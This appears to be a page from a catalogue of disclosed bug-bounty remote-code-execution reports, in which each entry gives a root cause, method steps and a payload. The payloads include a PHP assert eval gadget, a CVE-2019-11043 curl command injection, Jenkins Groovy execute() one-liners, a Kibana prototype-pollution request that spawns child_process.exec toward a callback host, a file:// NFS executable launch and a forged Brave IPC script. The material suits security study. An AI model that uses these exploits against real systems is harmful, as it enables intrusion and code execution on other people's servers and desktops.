In the Muon (Electron-based) Brave browser, opening a popup with the 'noopener' attribute bypassed navigation guards, letting a web page navigate to privileged internal pages such as chrome://brave, a SOP violation that can lead to RCE.

Method

  1. Host a page that calls window.open to a privileged URL with rel/features including 'noopener'
  2. Trigger with a single user click
  3. The popup lands on chrome://brave (or another privileged page) normally blocked from web content
window.open('chrome://brave', '_blank', 'noopener');

Insight β€” Navigation/SOP guards in custom Chromium/Electron browsers are often keyed on the opener relationship; 'noopener' (or noreferrer) can drop the check and reach privileged schemes - always test internal schemes with and without noopener.

Real-world example

PHP arbitrary-function-call to eval via array_diff_uassoc -> assert gadget

β—† Critical
Specimen #518348 Β· valve Β· awarded Β· 18 votes Β· resolved
Program valveSurface web

Root cause

An endpoint let the attacker choose a PHP function name to call but constrained the argument types to (array, array, string); array_diff_uassoc invokes its callback with (string, string), which allowed calling assert(<string>) which at the time ran eval() on the string, giving arbitrary code execution.

Method

  1. Identify a parameter that selects a PHP callable with fixed argument types
  2. Pass array_diff_uassoc as the callable to re-invoke a target callback with (string,string) instead of (array,array,string)
  3. Route to assert() with a PHP code string; assert() evaluated it as code
# conceptual: caller = array_diff_uassoc, its comparator callback = 'assert', arg = attacker PHP array_diff_uassoc($a, $b, 'assert'); // assert('<php code>') -> eval

Insight β€” When you control only a function NAME with awkward argument types, PHP's callback-taking builtins (array_diff_uassoc, usort, array_map, call_user_func) are pivots to reshape the call into (string) and reach assert/eval. A classic type-signature-laundering gadget.

Real-world example

PHP-FPM underflow RCE (CVE-2019-11043) behind nginx

β—† Critical
Specimen #720306 Β· nextcloud Β· USD 100 Β· 16 votes Β· resolved
Program nextcloudSurface webTag file-upload

Root cause

A specific nginx fastcgi_split_path_info regex + fastcgi_param PATH_INFO config lets an attacker underflow PHP-FPM's path handling, corrupting FPM memory to inject php-fpm .ini directives and execute arbitrary PHP. Triggered by the recommended nextcloud:fpm nginx config.

Method

  1. Confirm target is nginx + PHP-FPM with the vulnerable split_path_info regex
  2. Run phuip-fpizdam against a .php endpoint to find the QSL/pisos attack params
  3. Use returned params to set php.ini directives (e.g. auto_prepend_file) and execute commands via ?a=/bin/sh+-c+'...'
# neex/phuip-fpizdam ./phuip-fpizdam http://TARGET/ocs/v2.php # on success: curl 'http://TARGET/index.php?a=/bin/sh+-c+%27id%27&'

Insight β€” When you see nginx + php-fpm, test CVE-2019-11043 with phuip-fpizdam against any real .php path; vulnerability lives in the nginx location/regex + FPM version, so a vendor's recommended docker/nginx config can ship the bug to every deployment.

Real-world example

Unauthenticated RCE via exposed Jenkins Groovy script console

β—† Critical
Specimen #1125329 Β· deptofdefense Β· none Β· 15 votes Β· resolved
Program deptofdefenseSurface web

Root cause

A Jenkins instance exposed its Groovy script console (/_script) without authentication, so anyone can run arbitrary Groovy which executes OS commands.

Method

  1. Discover a Jenkins asset (SSL cert / recon)
  2. Browse to /_script (or /script)
  3. Run Groovy that shells out
println "whoami".execute().text println "ls".execute().text

Insight β€” On any Jenkins, always test /script and /_script and the CLI for unauthenticated access; the Groovy console is instant RCE. "cmd".execute().text is the canonical one-liner.

Real-world example

Prototype pollution to RCE in Kibana SIEM ML-signal creation

β—† Critical
Specimen #861744 Β· elastic Β· $5000 Β· 14 votes Β· resolved
Program elasticSurface webChain index write access -> prototype pollution -> Node.js R

Root cause

User-controlled document fields flow into an object merge without sanitizing __proto__, polluting Object.prototype. Setting sourceURL on the prototype and smuggling a JS payload triggers code execution in the Node.js server context when the polluted property is later evaluated.

Method

  1. Import a machine_learning SIEM detection rule that reads ML anomaly indices
  2. Write a crafted anomaly doc into the .ml-anomalies-* index whose influencer field name is foo.__proto__.sourceURL with a JS payload value
  3. Enable (or toggle) the rule so it processes the anomaly and pollutes the prototype
  4. Wait ~15s for rule evaluation; the polluted sourceURL leads to Node.js code execution
PUT /.ml-anomalies-custom-linux_anomalous_network_activity_ecs/_doc/my-anomaly?refresh { "timestamp": 1588093630045, "result_type": "record", "record_score": 1, "job_id": "linux_anomalous_network_activity_ecs", "by_field_name": "field_name", "by_field_value": "field_value", "influencers": [ {"influencer_field_name": "foo.__proto__.sourceURL", "influencer_field_values": "\u2028\u2029\n;global.process.mainModule.require('child_process').exec('open http://COLLAB')"} ] }

Insight β€” On Node.js/JS backends, any place that builds nested objects from user keys (dotted field names, deep merge) is a prototype-pollution sink; __proto__.sourceURL with U+2028/U+2029 line separators is a known gadget to reach code execution. Look for merge/set-by-path helpers fed with attacker-controlled property names.

Real-world example

Electron shell.openExternal(file://) -> native app execution

β—† Critical
Specimen #301458 Β· automattic Β· awarded Β· 10 votes Β· resolved
Program automatticSurface desktopChain stored page content -> shell.openExternal(file://) ->

Root cause

The desktop app passes any URL from page content to Electron's shell.openExternal without scheme validation; a file:// URL launches the target in its native handler, so pointing at a .app/.exe (incl. a remote NFS/SMB share) executes code.

Method

  1. Embed an iframe/page you control in a WordPress post rendered by the desktop app
  2. In it, window.open a file:// URL to an executable on a remote NFS/SMB mount
  3. Victim viewing/editing the page triggers openExternal and the payload runs as the current user
<script> window.open('file:///net/192.241.239.91/var/nfs/general/hack2.app') </script> // hack2.app (AppleScript): // do shell script "open -a Calculator"

Insight β€” In Electron/webview apps, audit every shell.openExternal / openItem sink: if attacker-influenced content reaches it without an http(s)-only allowlist, file:// (and SMB/NFS UNC paths) yields RCE. Remote shares defeat 'file must be local' assumptions.

Real-world example

Overwriting a JS builtin (Function.prototype.call) to forge privileged IPC in an Electron/Brave browser

β—† Critical
Specimen #187542 Β· brave Β· 300 Β· 9 votes Β· resolved
Program braveSurface desktopChain page script -> builtin override -> arbitrary IPC ->Tag supply-chain

Root cause

Brave's privileged internal code shares the same JS realm as untrusted page script and routes IPC through Function.prototype.call. A page redefines that builtin, so when internal code (e.g. alert()) calls it, the attacker rewrites the IPC channel/message to any privileged action.

Method

  1. Identify a privileged JS bridge that runs in the same context as page script and uses a hookable builtin (Function.prototype.call/apply)
  2. Override the builtin to detect and rewrite the internal IPC message name/args
  3. Trigger the internal call (alert()) to emit an attacker-chosen dispatch-action
<script> Function.prototype.call=function(e){ if(e && e[0]=='window-alert'){ e[0]='dispatch-action'; e[1]='{"actionType":"window-new-frame","frameOpts":{"location":"https://www.google.com/ncr"},"openInForeground":true}'; } return this.apply(e); }; alert(); </script>

Insight β€” When native/privileged logic and untrusted content share a JS realm, prototype/builtin tampering is a code-injection primitive: look for security-relevant internal calls routed through overridable globals. Enables UXSS, settings changes, address-bar spoofing.

Β§References & practice

  1. PortSwigger Web Security Academy β€” OS command injection labs (hands-on practice).
  2. All 86 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.